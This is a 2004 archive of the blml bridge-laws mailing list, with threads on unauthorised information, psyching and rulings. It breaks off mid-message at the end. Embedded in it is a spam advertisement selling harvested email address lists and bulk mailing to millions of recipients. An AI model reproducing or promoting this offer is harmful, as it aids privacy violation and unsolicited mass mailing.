I'd be reasonably confident that the choice was 3S or Double. Yet this North (no slouch) was swayed by the MI to bid 3S. Was it irrational ?? Seems a very strong term for what was clearly a bid made under duress with the wrong information. Is double the only LA here ?? I'm not defending N's 3S bid. I personally would have doubled regardless of the meaning of 2NT ... but I can understand how the spectre of a big hand on your Right would seriously dampen your enthusiasm to the extent that you make a conservative against the grain bid. Irrational ?? K. -- http://www.iol.ie From nigel.guthrie@ntlworld.com Fri May 7 19:57:06 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 7 May 2004 19:57:06 +0100 Subject: [blml] Active ethics (was Double-meaning) References: <001901c4342d$34e7ddc0$e29b4c51@4nrw70j> Message-ID: <001b01c43465$1853c1a0$049868d5@tinyhrieuyik> [Tim West-Meads] > The double of 1N was a legal call. I am authorised > to base my action upon it. Sure the alert/explanation > are UI but that is irrelevant here. Once I know that I > missed the first double I have no LA to 2D. [Grattan Endicott] +=+ So that, as with the explanation, it would be lawful to say to partner: "Hey, wake up! You have missed the double of the 1NT" and for partner to act on this information? I must have another think about Law 73B1. [Nigel] Tim covered that one. To glean information from the auction is legal even if you miss it on first perusal. Also, it's legal to ask for a review for ones own information - so no infraction. What Grattan suggests is blatantly illegal and Tim has already suggested a PP for such behaviour. In the latter case, Grattan quotes aptly... [Ludwig Wittgenstein] "Wovon man nicht sprechen kann, davon muß man Schweigen". (Tractatus Logico-Philosophicus) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.676 / Virus Database: 438 - Release Date: 03/05/2004 From nigel.guthrie@ntlworld.com Fri May 7 21:52:59 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 7 May 2004 21:52:59 +0100 Subject: [blml] Active ethics (was Double-meaning) Message-ID: <012201c43475$48728820$049868d5@tinyhrieuyik> :[Nigel]: Sorry, misquote [Tim West-Meads] > The double of 1N was a legal call. I am authorised > to base my action upon it. Sure the alert/explanation > are UI but that is irrelevant here. Once I know that I > missed the first double I have no LA to 2D. >> [Grattan Endicott] >> +=+ So that, as with the explanation, it would be lawful >> to say to partner: "Hey, wake up! You have missed >> the double of the 1NT" and for partner to act on this >>information? I must have another think about Law 73B1. [Nigel] Tim covered that one. To glean information from the auction is legal even if you miss it on first perusal. Also, it's legal to ask for a review for ones own information - so no infraction. What Grattan suggests is blatantly illegal and Tim has already suggested a PP for such behaviour. In the latter case, Grattan quotes aptly... >>> [Ludwig Wittgenstein - Tractatus Logico-Philosophicus] >>> Wovon man nicht sprechen kann, darüber muß man schweigen --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.676 / Virus Database: 438 - Release Date: 03/05/2004 From wex@hotmail.com Sat May 8 18:37:21 2004 From: wex@hotmail.com (wex@hotmail.com) Date: Sun, 9 May 2004 01:37:21 +0800 Subject: [blml] (*SPAM*) Email marketing Message-ID:

Email Marketing !

  We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects.

Products

World Email Lists .  Their validity and originality are verified. Details please go to our website

Country or area total emails

America      175 Million Email Address
Europe       156 Million Email Address
Asia         168 Million Email Address
China(PRC)   80 Million Email Address  
HongKong    3.25 Million Email Address
TaiWan      2.25 Million Email Address
Japan        27 Million Email Address 
Australia      6 Million Email Address
Canda        10 Million Email Address
Russia        38 Million Email Address
England      3.2 Million Email Address
German       20 Million Email Address  
France        38 Million Email Address
India         12 Million Email Address
other Country or Area  

---------------------------------------------------------------------------------------------                                                 
Category Name total emails total price

Apparel, Fashion, Textiles and Leather  4,654,565
Automobile & Transportation             6,547,845
Business Services                       6,366,344
Chemicals                               3,445,565
Computer & Telecommunications           654,655
Construction & Real Estate              3,443,544
Consumer Electronics                    1,333,443
Energy, Minerals & Metals               6,765,683
Environment                             656,533
Food & Agriculture                      1,235,354                  
Gems & Jewellery                        565,438
Health & Beauty                         804,654
Home Supplies                           323,232
Industrial Supplies                     415,668
Office Supplies                         1,559,892
Packaging & Paper                       5,675,648
Printing & Publishing                   6,563,445
Security & Protection                   5,653,494
Sports & Entertainment                  3,488,455
Toys, Gifts and Handicrafts             2,135,654
---------------------------------------------------------------------------------------------
ˇ¤All of Country email lists + email sender express +add url express + etrae express
---------------------------------------------------------------------------------------------


Send Your Ad to Millions

5 million bulk email only for $80 order
50 million bulk email only for $200 order
100 million bulk email only for $300 order
200 million bulk email only for $500 order

Imagine emailing 500,000 recipients and 1 out of every 1000 orders your product, that's 500 new orders!
* We go all-out to make sure our customers are completely satisfied
* If any emails fail to make delivery, we replace them free of charge
* 100% Spam free, rest assured you will not be accused of spamming
* Almost all of our emails are sent to valid email addresses
* No software required, we do all the mailing from our own server
* Don't be fooled in signing up with similar sites offering services that cannot compare to ours
* Get the most bang for your buck with bulk email advantage!
---------------------------------------------------------------------------------------------



Details go to website



the silver star internet information company

copyrightˇ¤2004-2005 all reserved


------------------------------------------------------------
remove please email: emailad1234@sina.com
------------------------------------------------------------

From gesta@tiscali.co.uk Sun May 9 00:11:13 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 9 May 2004 00:11:13 +0100 Subject: [blml] Active ethics (was Double-meaning) References: <012201c43475$48728820$049868d5@tinyhrieuyik> Message-ID: <002501c43551$ddaa86e0$618e403e@multivisionoem> Grattan Endicott To: Sent: Friday, May 07, 2004 9:52 PM Subject: Re: [blml] Active ethics (was Double-meaning) >> Tim covered that one. To glean information from the auction > is legal even if you miss it on first perusal. Also, it's > legal to ask for a review for ones own information - > so no infraction. What Grattan suggests is blatantly > illegal and Tim has already suggested a PP for such > behaviour. In the latter case, Grattan quotes aptly... > >>> [Ludwig Wittgenstein - Tractatus Logico-Philosophicus] > >>> Wovon man nicht sprechen kann, darüber muß man schweigen > +=+ Not to indulge in repetition of my stated position but to supplement: 1. The information conveyed to partner by the explanation is not that conveyed by the legal auction. It is the information that the partner does not know what the legal auction is. 2. Neither Law 16 nor Law 73B1 requires intent on the part of the player who conveys information. These laws are activated by the fact that information is conveyed. ~ Grattan ~ +=+ From john@asimere.com Sun May 9 01:48:52 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 9 May 2004 01:48:52 +0100 Subject: [blml] Double-meaning double In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes >>>reap the whirlwind." > >Richard James Hills -> > >MadDog's strategy of first-round psyching in a >long match against Danny is "de rigeur" if and >only if MadDog's partner is different in each >long match against Danny, and if and only if >each of MadDog's new partners is unaware of >MadDog's strategy. > >Of course, now that MadDog has been vain enough >to gloatingly publish his winning strategy on >blml, MadDog is no longer Lawfully entitled to >use that winning strategy, as any future MadDog >partner may be a blml lurker. > This is rubbish. It's GBK to psyche against Danny early in a long match. Even he knows it. john -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From schoderb@msn.com Sun May 9 02:00:52 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sat, 8 May 2004 21:00:52 -0400 Subject: [blml] Active ethics (was Double-meaning) References: <012201c43475$48728820$049868d5@tinyhrieuyik> <002501c43551$ddaa86e0$618e403e@multivisionoem> Message-ID: didn't I see somewhere "Quod erat Demonstratum?" Grattan has got IT! ----- Original Message ----- From: To: "Nigel Guthrie" ; Sent: Saturday, May 08, 2004 7:11 PM Subject: Re: [blml] Active ethics (was Double-meaning) > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > ++++++++++++++++++++++++++++++++. > "Law is whatever is boldly asserted and > plausibly maintained." > - Aaron Burr (1756-1836) > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: "Nigel Guthrie" > To: > Sent: Friday, May 07, 2004 9:52 PM > Subject: Re: [blml] Active ethics (was Double-meaning) > > > >> Tim covered that one. To glean information from the auction > > is legal even if you miss it on first perusal. Also, it's > > legal to ask for a review for ones own information - > > so no infraction. What Grattan suggests is blatantly > > illegal and Tim has already suggested a PP for such > > behaviour. In the latter case, Grattan quotes aptly... > > >>> [Ludwig Wittgenstein - Tractatus Logico-Philosophicus] > > >>> Wovon man nicht sprechen kann, darüber muß man schweigen > > > +=+ Not to indulge in repetition of my stated position but to > supplement: > 1. The information conveyed to partner by the explanation > is not that conveyed by the legal auction. It is the information > that the partner does not know what the legal auction is. > 2. Neither Law 16 nor Law 73B1 requires intent on the > part of the player who conveys information. These laws are > activated by the fact that information is conveyed. > ~ Grattan ~ +=+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nsousa@fc.up.pt Fri May 7 20:15:46 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Fri, 7 May 2004 20:15:46 +0100 Subject: [blml] RE: Misinformation? Damage? Self-inflicted? Message-ID: <6C60E0294337E84EBE5B198747277FA9364374@MAIL.fc.up.pt> This is a multi-part message in MIME format. ------_=_NextPart_001_01C43467.B32ECE39 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > The notion that redress should be routinely denied just because a bad > bid got what it deserved is both widespread and pernicious, and the > forces of righteousness have a duty to try to stamp it out wherever > they encounter it. Hum.. I think I get the point. But then how do you solve the problem? I = would venture to do as follows: =20 1. Estimate likely contract and outcome with correct info: 3NT -1, +100 2. Subtract from error of bidding 3H, -800 3. Split scores: NS score +800 (the table score) & EW -700 (corrected = for misinformation and irrational action) 4. Follow the usual procedures to convert to imps/mps/pvs. =20 Would this be a good ruling? ------_=_NextPart_001_01C43467.B32ECE39 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+Ii8TAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEgAEALAAAAFJFOiBNaXNpbmZvcm1hdGlv bj8gRGFtYWdlPyBTZWxmLWluZmxpY3RlZD8AZQ8BBYADAA4AAADUBwUABwAUAA8ALgAFAD0BASCA AwAOAAAA1AcFAAcAFAAPAC4ABQA9AQEJgAEAIQAAADEyNzU5M0FCQ0REQ0M3NEZBREY0ODE0OTMx QjIzRUFBAGcHAQOQBgDcDAAANgAAAAMANgAAAAAAQAA5ADnOLrNnNMQBHgA9AAEAAAAFAAAAUkU6 IAAAAAACAUcAAQAAACoAAABjPXVzO2E9IDtwPUZDVVA7bD1NQUlMLTA0MDUwNzE5MTU0NlotNTk3 MwAAAB4ASQABAAAAIwAAAGJsbWwgZGlnZXN0LCBWb2wgMSAjMTU1NCAtIDExIG1zZ3MAAEAATgAA F0JWATTEAR4AWgABAAAAFQAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAAAAAAIBWwABAAAARwAAAAAA AACBKx+kvqMQGZ1uAN0BD1QCAAAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAFNNVFAAYmxtbC1hZG1p bkBydGZsYi5vcmcAAAIBXAABAAAAGgAAAFNNVFA6QkxNTC1BRE1JTkBSVEZMQi5PUkcAAAAeAF0A AQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAACAV4AAQAAAEsAAAAAAAAAgSsfpL6jEBmd bgDdAQ9UAgAAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAFNNVFAAYmxtbC1yZXF1ZXN0QHJ0Zmxi Lm9yZwAAAgFfAAEAAAAcAAAAU01UUDpCTE1MLVJFUVVFU1RAUlRGTEIuT1JHAB4AZgABAAAABQAA AFNNVFAAAAAAHgBnAAEAAAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAAHgBoAAEAAAAFAAAA U01UUAAAAAAeAGkAAQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAAeAHAAAQAAACMAAABi bG1sIGRpZ2VzdCwgVm9sIDEgIzE1NTQgLSAxMSBtc2dzAAACAXEAAQAAABsAAAABxDQBg5ZMsPIl 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 MwBBACAATQBpAHMAaQBuAGYAbwByAG0AYQB0AGkAbwBuACUAMwBGACAARABhAG0AYQBnAGUAJQAz AEYAIABTAGUAbABmAC0AaQBuAGYAbABpAGMAdABlAGQAJQAzAEYALgBFAE0ATAAAAAsA9hAAAAAA QAAHMIwmfO9lNMQBQAAIMOuSM7NnNMQBAwDeP69vAAADAPE/FggAAB4A+D8BAAAAHQAAAE51bm8g TWlndWVsIE1hcnF1ZXMgZGUgU291c2EAAAAAAgH5PwEAAABaAAAAAAAAANynQMjAQhAatLkIACsv 4YIBAAAAAAAAAC9PPUZDVVAvT1U9RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAvQ049UkVDSVBJ RU5UUy9DTj1OU09VU0EAAAAeAPo/AQAAABUAAABTeXN0ZW0gQWRtaW5pc3RyYXRvcgAAAAACAfs/ AQAAAB4AAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAALgAAAAMA/T/kBAAAAwAZQAAAAAAD ABpAAAAAAAMAHUAAAAAAAwAeQAAAAAAeADBAAQAAAAcAAABOU09VU0EAAB4AMUABAAAABwAAAE5T T1VTQQAAHgAyQAEAAAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAAHgAzQAEAAAAXAAAAYmxt bC1yZXF1ZXN0QHJ0ZmxiLm9yZwAAHgA4QAEAAAAHAAAATlNPVVNBAAAeADlAAQAAAAIAAAAuAAAA CwApAAAAAAALACMAAAAAAAMABhDavufYAwAHEAgCAAADABAQAQAAAAMAERAAAAAAHgAIEAEAAABl AAAAVEhFTk9USU9OVEhBVFJFRFJFU1NTSE9VTERCRVJPVVRJTkVMWURFTklFREpVU1RCRUNBVVNF QUJBREJJREdPVFdIQVRJVERFU0VSVkVESVNCT1RIV0lERVNQUkVBREFORFBFUgAAAAACAX8AAQAA ADcAAAA8NkM2MEUwMjk0MzM3RTg0RUJFNUIxOTg3NDcyNzdGQTkzNjQzNzRATUFJTC5mYy51cC5w dD4AAPbb ------_=_NextPart_001_01C43467.B32ECE39-- From ereppert@rochester.rr.com Sun May 9 20:43:50 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 9 May 2004 15:43:50 -0400 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: Message-ID: <31B2BCE8-A1F1-11D8-903D-0030656F6826@rochester.rr.com> On Friday, May 7, 2004, at 07:36 US/Eastern, Tim West-Meads wrote: > The double of 1N was a legal call. I am authorised to base my action > upon > it. Sure the alert/explanation are UI but that is irrelevant here. > Once > I know that I missed the first double I have no LA to 2D. I agree that the double was a legal call, and that it is AI. However.... Law 16 says "he partner may not choose from among logical alternative actions one that could demonstrably have been suggested over another by the extraneous information." Clearly, if you have no LA to 2D, then this law does not apply. But.... Law 73C says "When a player has available to him unauthorized information from his partner ... he must carefully avoid taking any advantage that might accrue to his side." Is bidding 2D in this case a violation of law 73C? Note that this law does not discuss the difference between UI and AI - it says only that *in the presence of UI*, one must "carefully avoid taking any advantage..." Thus, it would seem to make the fact that the double is AI irrelevant - at least if bidding 2D is "taking advantage". From ereppert@rochester.rr.com Sun May 9 20:50:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 9 May 2004 15:50:27 -0400 Subject: [blml] Double-meaning double In-Reply-To: Message-ID: <1ED8C330-A1F2-11D8-903D-0030656F6826@rochester.rr.com> On Saturday, May 8, 2004, at 20:48 US/Eastern, John (MadDog) Probst wrote: > This is rubbish. It's GBK to psyche against > Danny early in a long match. Even he knows it. I didn't, until you brought it up. :-) From grandeval@vejez.fsnet.co.uk Sun May 9 10:06:10 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 9 May 2004 10:06:10 +0100 Subject: [blml] Double-meaning double References: Message-ID: <000601c43612$e67bc9c0$42cc87d9@4nrw70j> Grattan Endicott To: Sent: Sunday, May 09, 2004 1:48 AM Subject: Re: [blml] Double-meaning double > In article , > richard.hills@immi.gov.au writes > >>>reap the whirlwind." > > > >Richard James Hills -> > > > >MadDog's strategy of first-round psyching in a > >long match against Danny is "de rigeur" if and > >only if MadDog's partner is different in each > >long match against Danny, and if and only if > >each of MadDog's new partners is unaware of > >MadDog's strategy. > > > >Of course, now that MadDog has been vain enough > >to gloatingly publish his winning strategy on > >blml, MadDog is no longer Lawfully entitled to > >use that winning strategy, as any future MadDog > >partner may be a blml lurker. > > > This is rubbish. It's GBK to psyche against > Danny early in a long match. Even he knows it. > > john > -- +=+ It was my experience that there was always more to be gained from having the reputation of psyching than from the occasional psyche. ~ Grattan ~ +=+ From gordon@gordonrainsford.co.uk Sun May 9 23:57:55 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sun, 9 May 2004 23:57:55 +0100 Subject: [blml] Double-meaning double In-Reply-To: <1ED8C330-A1F2-11D8-903D-0030656F6826@rochester.rr.com> References: <1ED8C330-A1F2-11D8-903D-0030656F6826@rochester.rr.com> Message-ID: <4F17FD25-A20C-11D8-9EFB-0003936A6522@gordonrainsford.co.uk> On 9 May 2004, at 20:50, Ed Reppert wrote: > > On Saturday, May 8, 2004, at 20:48 US/Eastern, John (MadDog) Probst > wrote: > >> This is rubbish. It's GBK to psyche against >> Danny early in a long match. Even he knows it. > > I didn't, until you brought it up. :-) Me neither. And I've played a match against him, partnering John. And John didn't psyche during the match. -- Gordon Rainsford London UK From grandeval@vejez.fsnet.co.uk Mon May 10 00:29:30 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 10 May 2004 00:29:30 +0100 Subject: [blml] Double-meaning double References: <1ED8C330-A1F2-11D8-903D-0030656F6826@rochester.rr.com> <4F17FD25-A20C-11D8-9EFB-0003936A6522@gordonrainsford.co.uk> Message-ID: <003c01c4361d$93f3dac0$42cc87d9@4nrw70j> Grattan Endicott To: "BLML" Sent: Sunday, May 09, 2004 11:57 PM Subject: Re: [blml] Double-meaning double > > On 9 May 2004, at 20:50, Ed Reppert wrote: > > > > > On Saturday, May 8, 2004, at 20:48 US/Eastern, John (MadDog) Probst > > wrote: > > > >> This is rubbish. It's GBK to psyche against > >> Danny early in a long match. Even he knows it. > > > > I didn't, until you brought it up. :-) > > Me neither. > > And I've played a match against him, partnering John. > > And John didn't psyche during the match. > +=+ So he has just now psyched....+=+ From richard.hills@immi.gov.au Mon May 10 00:59:46 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 10 May 2004 09:59:46 +1000 Subject: [blml] Double-meaning double Message-ID: John (MadDog) Probst wrote: >>>This is rubbish. It's GBK to psyche against >>>Danny early in a long match. Even he knows it. Gordon Rainsford wrote: >>I've played a match against him, partnering >>John. >> >>And John didn't psyche during the match. In "What is the Name of this Book?", the chess problemist and philosopher Raymond Smullyan wrote: >My introduction to logic was at the age of six. >It happened this way: On April 1, 1925, I was >sick in bed with grippe, or something. In the >morning my brother Emile (ten years my senior) >came into my bed room and said: "Well, Raymond, >today is April Fool's Day, and I will fool you as >you have never been fooled before!" I waited all >day long for him to fool me, but he didn't. Late >that night, my mother asked me, "Why don't you go >to sleep?" I replied, "I'm waiting for Emile to >fool me." My mother turned to Emile and said, >"Emile, will you please fool the child!" Emile >then turned to me, and the following dialogue >ensued: > >Emile - "So, you expected me to fool you, didn't >you?" > >Raymond - "Yes." > >Emile - "But I didn't, did I?" > >Raymond - "No." > >Emile - "But you expected me to, didn't you?" > >Raymond - "Yes." > >Emile - "So I fooled you, didn't I!" Therefore, when the Gordon & MadDog partnership played against Danny, it was GBK to Danny that MadDog would psyche against him. Perhaps Danny may have spent the entire match tenterhookedly waiting for MadDog's psyche. If so, MadDog psyched Danny out, by not psyching against him. :-) Best wishes Richard James Hills From steve@nhcc.net Mon May 10 02:01:19 2004 From: steve@nhcc.net (Steve Willner) Date: Sun, 9 May 2004 21:01:19 -0400 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <200405100029.i4A0T4Ke011998@cfa183.cfa.harvard.edu> Message-ID: There has been a lot of strange stuff written on this topic, but I don't think it really has to be so complicated. > From: twm@cix.co.uk (Tim West-Meads) > The actual auction is *always* AI, whatever the > circumstances, however one becomes aware of it, even if > partner (out of > the blue) says "Did you see the first double?" This looks exactly correct to me, despite words to the contrary from people who usually know what they are talking about. To paraphrase the well-known aphorism, if your only Law is L16, everything looks like UI. Fortunately, there are other Laws in the book. > (albeit in that case I'm > hitting the partner with a huge PP). Perhaps, if circumstances require it. More to the point, though, I hope you will be adjusting the score: _not_ via L16 but... > There is absolutely *no* ambiguity in the opening statement of law 16. > "Players are authorised to base their calls and plays on > information from > legal calls and plays and from mannerisms of opponents." Some > contributors here seem to wish that the law was different - > maybe it will > be one day but until then no amount of twisting and turning > can make a legal call UI. Exactly so. > From: "grandeval" > +=+ So that, as with the explanation, it would be lawful > to say to partner: "Hey, wake up! You have missed > the double of the 1NT" and for partner to act on this > information? I must have another think about Law 73B1. What's to think about? Of course L73B1 prohibits this sort of nonsense! Since 73B1 does not specify an indemnity, you go to 12A1 and then to 12C2. I'm astonished that this could be controversial. The _effect_ of this ruling is pretty much the same as Herman said in the first place, though the route is different. If the auction is so strange that the inattentive player would almost certainly ask anyway, there is no damage and no adjustment. One important difference from Herman's original view is that if the player learns of his mistake from _legal_ means, he is allowed to do his best to recover. "Legal means" might include some action of his partner, as for example by answering a question or asking for a review of the auction. People might not like this, but I don't see it as a problem. (According to WBFLC interpretations, a review of the auction _for partner's benefit_ is an infraction, so we don't have a problem there in principle, though the purpose of the review might be hard to judge in a specific case.) It's only when there is a 73B1 violation (or some other violation) that there's any chance of an adjusted score. As always in a score adjustment case, we adjust by asking what would have happened if the infraction had not occured. In this sort of case, it's the illegal remark that is the infraction, and the resulting adjustment is normally on the basis that the inattentive player would not have "woken up" -- unless, as noted above, there is reason to believe he would have. PP's are decided on the usual basis of whether the player should have known better and whether the PP will serve an educational function. They should not be used in place of score adjustment. It's possible, of course, that future Laws will change this, but I don't think that would be a very wise idea. Making the legal auction or legal plays into UI will be very hard for ordinary players and TD's to understand. (We already have a similar example in the case of penalty cards -- nobody understands what that law means.) From richard.hills@immi.gov.au Mon May 10 04:07:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 10 May 2004 13:07:15 +1000 Subject: [blml] Groundhog Day Message-ID: National Teams, Dlr: N, Vul: All 542 AQT7 KQJ75 K AKJ986 Q3 --- K863 3 9842 AQ9874 JT5 T7 J9542 AT6 632 WEST NORTH EAST SOUTH --- 1D Pass 1H Double 3H(1) Pass Pass 4H Pass 5C Pass 6C Pass(2) Pass Pass (1) Obstructive (2) Hesitation The play: Diamond lead, declarer uses the spade queen entry to take the club finesse, -100. E/W ask for a Morton's Fork adjustment to the score. Fork 1: If North's hesitation demonstrably suggested that North was thinking about a penalty double, then South's final pass was an infraction of Law 16. Therefore, South should have taken the Lawful logical alternative of a 6H sacrifice. Fork 2: If North's hesitation demonstrably suggested that North was thinking about a sacrifice, then North was misleadingly suggesting that North held a worthless singleton (or void) in clubs. Therefore, North's hesitation was an infraction of Law 73F2, so the score should be adjusted to 6C making, due to the offside singleton king of clubs being dropped. How would you rule? Best wishes Richard James Hills From richard.hills@immi.gov.au Mon May 10 05:20:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 10 May 2004 14:20:13 +1000 Subject: [blml] Usenet bridge abbreviations Message-ID: Suggest that the following acronyms be added to this automatic posting: GBK = General bridge knowledge IWoG = Irrational, wild or gambling Best wishes Richard James Hills From richard.hills@immi.gov.au Mon May 10 06:40:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 10 May 2004 15:40:20 +1000 Subject: [blml] 2 cases Message-ID: Karel asked: >+++ I know we'd had this discussion about what is >irrational or not. In the actual case > >S AKQxxx >H Qx >D xx >C QJx > >1D 1S P 2D >2NT** ?? > >It seems the AC decided that everyone with this >hand would double. [snip] >Was it irrational ?? [snip] >I'm not defending N's 3S bid. I personally would >have doubled regardless of the meaning of 2NT ... but [snip] >Irrational ?? Richard James Hills replies: Perhaps I did not make myself perfectly clear in my previous posting. I intended a sorites: (a) "Since the actual AC ruled that N/S were irrational", (b) "the actual AC correctly gave N/S the table score", (c) "the actual AC's ruling was partially correct". That is, given premise (a), conclusion (c) followed. I did not address whether or not I would have adopted premise (a), if I had been a member of the actual AC. Law 93B3 states an AC has all the powers of a TD, except: (d) the director's Law 81C5 power to interpret the Laws, (e) the director's Law 91A disciplinary power. Therefore, an AC has the Law 85A power to determine truth. The AC is entitled to determine that the version of the facts proposed by the defendant, Mr Ptolemy, is true and rational. The AC is entitled to determine that the version of the facts proposed by the appellant, Mr Copernicus, is false and irrational. :-) Best wishes RJH From adam@tameware.com Mon May 10 05:26:49 2004 From: adam@tameware.com (Adam Wildavsky) Date: Sun, 9 May 2004 21:26:49 -0700 Subject: [blml] Cavendish ruling -- final deal Message-ID: IMPs Board 27 Dlr S None vul QJ9864 T74 